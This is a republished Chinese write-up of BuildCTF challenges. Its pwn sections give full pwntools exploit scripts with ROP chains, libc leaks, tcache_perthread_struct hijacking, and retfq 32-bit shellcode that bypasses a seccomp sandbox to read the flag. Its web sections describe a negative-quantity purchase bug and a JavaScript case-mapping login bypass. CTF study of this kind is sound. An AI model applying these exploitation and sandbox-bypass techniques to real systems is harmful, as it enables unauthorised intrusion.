BuildCTF官⽅WP

admin 2024年11月6日10:26:29评论10 views字数 8498阅读28分19秒阅读模式
PWN
 01
randbox
BuildCTF官⽅WP

沙箱禁⽤了execve和fork函数

BuildCTF官⽅WP

BuildCTF官⽅WP

main

BuildCTF官⽅WP

这⾥⽣成了随机数 ,种⼦固定时, ⽣成的随机数唯— ,所以我们可以本地⽤当前时间作为种⼦模拟⽣成 随机数绕过

vulnerable

BuildCTF官⽅WP

BuildCTF官⽅WP

直接给了栈溢出漏洞, 泄露libc后利⽤mprotect函数改权限打ORW即可

from pwn import*from ctypes import *from LibcSearcher import*context(os = 'linux',arch = 'amd64',log_level = 'debug')#p=process('./randbox')p=remote( '27.25.151.80',40146)libc = cdll.LoadLibrary( '/lib/x86_64-linux-gnu/libc.so.6')libc.srand(libc.time(0))payload=(libc.rand())%50p.sendline(str(payload))elf=ELF( './randbox')rdi=0x00000000004015c3rsi_r15=0x00000000004015c1libc=ELF( './libc-2.31.so')p.recvuntil( 'hack?nn')payload=b'a'*0x28 + p64(rdi) + p64(elf.got [ 'puts']) + p64(elf.plt [ 'puts'])+p64(0x401421)p.sendline(payload)libc_base = u64(p.recv(6).ljust(8,b'x00'))-libc.sym [ 'puts']#libc = LibcSearcher("puts", puts)#libc_base = puts - libc.dump("puts")log.success("libcbase:"+hex(libc_base))mprotect = libc_base + libc.sym [ 'mprotect']rsi = libc_base + 0x27529rdx_r12 = libc_base + 0x11c1e1buf = 0x404000 + 0x800orw_payload = b'a'*0x28+p64(rdi) + p64(0x404000) + p64(rsi) + p64(0x1000)+ p64(rdx_r12) + p64(7) +p64(0)+ p64(mprotect) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx_r12) + p64(0x100) +p64(0)+ p64(elf.sym [ 'read']) +p64(buf)p.sendlineafter(b'hack?nn', orw_payload)sleep(1)p.sendline(asm(shellcraft.cat( 'flag')))p.interactive()
 02
ret2half
拿到题⽬ , ⾸先checksec—下,查看程序启⽤了哪些保护

BuildCTF官⽅WP

发现保护措施全都开了,接下来使⽤seccomp-tools dump ./ret2half 这个命令来查看程序是否 有启⽤沙箱, 以及沙箱过滤了哪些函数

BuildCTF官⽅WP

发现禁⽤了ptrace ,open_by_handle_at ,open ,openat ,execveat ,execve这些函数, 禁⽤了

execve和execveat函数,那么我们就⽆法通过one_gadgets或者⽤execve("/bin/shx00")这样的 ⽅法来

解题了 。我们只能考虑⽤orw来解题,但是涉及到open的三个系统调⽤open_by_handle_at, openat,open全部都被堵死了,那么如何完成open("flag")将会是本题的重点。

将程序放⼊ida中分析

BuildCTF官⽅WP

发现是—道很典型的堆题, ⾸先来看看welcome函数

BuildCTF官⽅WP

申请了两个堆块⼜释放了, 这看上去可能有点莫名其妙,但是这其实是为了我们能够泄露堆地址⽽ 准备

那么接下来我们来分析函数的主体功能

BuildCTF官⽅WP

add函数中⼀开始会对heap_number进⾏判断, ⽽heap_number会随着分配新的堆块⽽减少,

heap_number的数量为59 ,那么意味着这个程序最多只能分配9个堆块 。接下来会让你输⼊size, ⽽输

⼊的size也是有要求的:⼤⼩不能超过0x70,否则将不会分配堆块 。分配完堆块后会将堆块地址写 ⼊

heap_ptr,⼤⼩写⼊heap_size中去, ⽽heap_inuse会被赋值为1, 同时heap_number会减⼀ 。同时 我们

也知道了, 这个堆管理器只能同时容纳⼀个堆块的存在。 接下来再看delete函数

BuildCTF官⽅WP

free后只将heap_inuse置为0,⽽不将heap_ptr置0, 可能含有uaf漏洞。

view函数分为两种模式, ⼀种是admin, ⼀种是⾮admin, 其中admin的利⽤有条件, 即必须输⼊ 和程

序⼀样的随机数,从⽽获得⼀次uaf的leak机会, ⽽⾮admin的show是没有uaf的

⽽想要成为admin显然得满⾜⽣成的随机数与源程序⽣成的随机数相等, 这⾥可以导⼊from ctypes

import *库,然后⽤

1   my_libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")2   my_libc.srand(int(io.recv(10)))3   num=my_libc.rand()

来⽣成随机数绕过检查。

接下来看edit函数,只判断了heap_ptr是否等于0,⽽没有判断heap_inuse,造成了uaf漏洞。

由于只能uafshow⼀次,开始是tcache是空的,申请堆块后释放并不会在其fd上留下next_chunk 的地

址,但是我们之前welcome这个函数释放了两个堆块,因此,可以⽤普通的show泄露堆块地址,但是由

于系统不能分配⼤于0x70的堆块,因此我们正常申请的chunk并不能释放到unsortedbin中去,这 时,我

们考虑劫持tcache_perthread_struct结构体,倘若我们可以成功劫持tcache_perthread_struct, 并且将

tcache的⼤⼩为0x250的头部放⼊unsortedbins中去,那么就可以成功泄露libc地址了。但是我们知道

tcache的⼤⼩也有0x250这⼀档,该如何使得释放的chunk直接去往unsortedbins中呢?我们可以 将

tcache_perthread_struct各个⼤⼩的堆块数量都改为7个(7个就说明tcache满了,具体实现为add(0x70,b'x07'*0x40)),这样,我们就能获得libc基地址了,接下来考虑orw的步骤。

利⽤retfq切换到32位进⾏open

获得libc基地址后,我们考虑将free_hook改为setcontext+53的地址进⾏orw,但是在此之前,尚有⼀些问题亟待解决

Q:申请堆块的上限是9个,如果每个堆块都要先申请出来,再释放,再uaf修改tcache中的fd指针为⽬ 标

地址,再申请两个堆块的话肯定是不够⽤的,这该怎么办?

A:修改tcache_perthread_struct的0x40后的数据,每8字节记录者⼀个⼤⼩堆块的位置,将要申请的堆块放⼊那⾥即可⼀次就申请出来

Q:常规的orw并不能进⾏open操作(open时会被沙箱拦截),怎么绕过

A:执⾏shellcode,⽤retfq将模式切换⾄32位下运⾏,在那⾥执⾏open的系统调⽤,再⽤相同⽅法切换64位下继续进⾏系统调⽤

解决这些问题后,我们可以构造我们的链⼦了,笔者的计划是先调⽤mprotect来开辟⼀块可以执⾏shellcode的地址(这⾥笔者⽤的是⽤rop链调⽤mprotect,原因是笔者习惯写rop链了,当然直接⽤shelldode也是可以的,甚⾄这样⽐笔者的做法还简单(笑))

笔者的计划:⽤uaf泄露heap_base->将堆块的fd修改为tcache_perthread_struct->将

tcache_perthread_struct申请出来->改变tcache_perthread_struct的堆块数量为7->释放

tcache_perthread_struct到unsortedbin中->通过验证利⽤仅有⼀次的uafshow将libc_base泄露出来->修改tcache_perthread_struct中的堆块地址,分别修改为free_hook,rop地址,第⼆段rop地址,某块地址,某块地址+0xa0(⽅便后续rop链的调⽤)->利⽤rop链开辟⼀块空间,并且往⾥读⼊shellcode->跳  转

到那块空间->向新开辟的地址中输⼊shellcode->⽤mmap新开辟⼀块空间,要求在32位的寻址范围内-

>

读⼊32位的openshellcode到那⽚空间->读⼊64位的rwshellcode到那⽚空间的另⼀个地⽅->读

⼊/flag.txt字符串->通过retfq,进⼊32位程序状态->跳转到新开辟的空间中执⾏32位的openshellcode 处进⾏read和write。

最终exp如下:

import time   from pwn import *   from ctypes import *  #context.arch='amd64'   context.log_level = 'debug'   io=process("./ret2half")  #io=remote("27.25.151.80",32782)   elf=ELF("./ret2half")   r = lambda : io.recv()   rx = lambda x: io.recv(x)   ru = lambda x: io.recvuntil(x)   rud = lambda x: io.recvuntil(x, drop=True)   uu64= lambda : u64(io.recvuntil("x7f") [-6:].ljust(8,b"x00"))   uu32= lambda : u32(io.recvuntil("xf7") [-4:])   s = lambda x: io.send(x)   sl = lambda x: io.sendline(x)  sa = lambda x, y: io.sendafter(x, y)   sla = lambda x, y: io.sendlineafter(x, y)   shell = lambda : io.interactive()   libc=elf.libc   my_libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")    #这个位置替 换为你的libc地址,如果你这个地⽅有libc则忽略  def add(size,content):       sla("Your choice:n",b'1')      sla("pwner's weight:n",str(size))       sa("pwner's info:n",content)  def edit(content):       sla("Your choice:n",b'2')       sa("pwner's info:n",content)  def show():       sla("Your choice:n",b'3')  def pass_show():      sla("Your choice:n",b'3')       ru("how old are you?n")       my_libc.srand(int(io.recv(10)))       num=my_libc.rand()      sleep(0.1)       sl(str(num)) def delete():      sla("Your choice:n",b'4')sl(b'aaaa')sl(b'aaaa')gdb.attach(io)#pause()pass_show()add(0x18,b'a')pause()show()     #泄露堆地址 ru("pwner's info:a")leak_addr=u64((b'x00'+rx(5)).ljust(8,b'x00'))print(hex(leak_addr))heap_base=leak_addr-0x200print(hex(heap_base))add(0x70,b'x00')delete()edit(p64(heap_base+0x10))pause()add(0x70,b'x00')add(0x70,b'x07'*0x40)delete()pause()show()   #泄露libc地址 sl(b'Y')leak_addr=uu64()print(hex(leak_addr))main_arena=leak_addr-96malloc_hook=main_arena-0x10libc_base = malloc_hook - libc.sym ["   malloc_hook"]ret=libc_base+0x8aardi=libc_base+0x2164f rsi=libc_base+0x23a6a rdx=libc_base+0x1b96mprotect=libc_base+libc.sym [ 'mprotect']setcontext=libc_base+libc.sym [ 'setcontext']+53free_hook=libc_base+libc.sym [ '   free_hook']read=libc_base+libc.sym [ 'read']mp_addr=free_hook &0xFFFFFFFFFFFFF000print(hex(libc_base))edit(b'x07'*0x40+p64(free_hook)+p64(heap_base+0x8060)+p64(heap_base+0x6000)+p64(heap_base+0x7000)+p64(heap_base+0x70a0)+p64(heap_base+0x8000))#通过rop开辟⼀块可以执⾏shellcode的空间call_mprotect=p64(rdi)call_mprotect+=p64(mp_addr)call_mprotect+=p64(rsi)call_mprotect+=p64(0x10000)call_mprotect+=p64(rdx)call_mprotect+=p64(7)call_mprotect+=p64(mprotect)call_mprotect+=p64(rdi)call_mprotect+=p64(0)call_mprotect+=p64(rsi)call_mprotect+=p64(mp_addr)call_mprotect+=p64(rdx)call_mprotect+=p64(0x1000)call_mprotect+=p64(read)call_mprotect+=p64(mp_addr)add(0x68,call_mprotect [:0x60])add(0x28,call_mprotect [0x60:])add(0x18,p64(setcontext))payload=p64(heap_base+0x8000)payload+=p64(ret)add(0x58,payload)print(hex(free_hook))add(0x48,b'aaaa')delete()#通过mmap开辟—块可读可写可执⾏的空间mmap_shellcode=asm(shellcraft.amd64.mmap(0x66660000,0x100,7,34,0,0), arch= 'amd64', os = 'linux')#写⼊shellcode到mmap开辟的空间中read_mmap=asm( '''mov rdi,0mov rsi,0x66660000mov rdx,0x200mov rax,0syscall''',arch = 'amd64')#写⼊64为shellcode到0x66660500中,为retfq回来做准备。read_mmap_64=asm( '''mov rdi,0mov rsi,0x66660500mov rdx,0x200mov rax,0syscall''',arch = 'amd64')#写⼊"/flagx00"字符串到0x66660900中read_flag=asm( '''mov rdi,0mov rsi,0x66660900mov rdx,0x20 mov rax,0syscall''',arch = 'amd64')#通过retfq, 进⼊32位程序状态,并且跳转到0x66660000中执⾏32位的shellcodecode_retfq = asm( '''   mov r15,0x66660700 mov rsp,r15push 0x23push 0x66660000retfq''',arch = 'amd64')shellcode=mmap_shellcode shellcode+=read_mmapshellcode+=read_mmap_64 shellcode+=read_flagshellcode+=code_retfq sl(shellcode)#通过32位的open函数打开flag⽂件x86_shellcode_1 = asm( '''mov eax, 0x5mov ebx,0x66660900mov ecx,0int 0x80''',arch = 'i386',os = 'linux')#retfq切换到64位程序运⾏x86_x64=asm( '''push 0x33push 0x66660500retfq''',arch = 'amd64')sl(x86_shellcode_1+x86_x64)pause()#64位程序读取flag并输出read_write=asm( '''mov rdi,3mov rsi,0x66660900mov rdx,0x50 mov eax,0syscall   mov rdi,1mov rsi,0x66660900mov rdx,0x50mov rax,1syscall''',arch = 'amd64')sl(read_write)sl(b'/flagx00') shell()
WEB
 01
我要成为沙威玛传奇
ida查看发现我设计了三个漏洞,买沙威玛的逻辑结构对, 先检查钱数量并修改再检查购买个数   是否正确 。如果输⼊购买数量为负即可获得钱, 当然也可以选择当⼩偷或者乞丐去循环获得⾦钱或 者沙威⻢从⽽达成getshell 的⽬标。

如下可⻅⾦钱的购买变化是有问题的,应该先对数量v1做是否为正数的判断。

puts(&byte_4020F0);    fgets(s, 10, stdin);    v1 = atoi(s);    if ( 5 * v1 > money )      return puts(&byte_402100);    money -= 5 * v1;    if ( v1 < 0 )      return puts(&byte_402131);     Shawarma += v1;

所以nc 后, 选择购买,输⼊购买-100个沙威玛, 即可获得⾜够买100个沙威玛的⾦钱,从⽽能够 去执⾏选择2 ,执⾏后⻔ 。

 02
eazyl0gin
简单代码审计,根据提示来到关键代码位置, 通过if判断即可返回flag

BuildCTF官⽅WP

根据提示看到输⼊的 username 经过了 toUpperCase处理 js的⼤⼩写有如下特性

字符" ı " 、"ſ" 经过toUpperCase处理后结果为 "I" 、"S"

字符"K"经过toLowerCase处理后结果为"k"(前⾯这个K不是字⺟K)    对于给出的md5, 可以拿去⽹上查记录, 如果是弱⼝令⼀般都能查到

BuildCTF官⽅WP

最后传⼊ buıldctf , 012346 即可

您目前所看到的内容是BuildCTF官方发布的部分解题线索。为了获取更全面的资料和剩余的解题信息,领取完整版的内容

通过百度网盘分享的文件:BuildCTF…
链接:https://pan.baidu.com/s/19OUIL3Q3yQ-FiQAGujRXhg?pwd=c7gd 
提取码:c7gd
复制这段内容打开「百度网盘APP 即可获取」

原文始发于微信公众号(ZeroPointZero安全团队):BuildCTF官⽅WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日10:26:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BuildCTF官⽅WPhttp://cn-sec.com/archives/3361489.html

发表评论

匿名网友 填写信息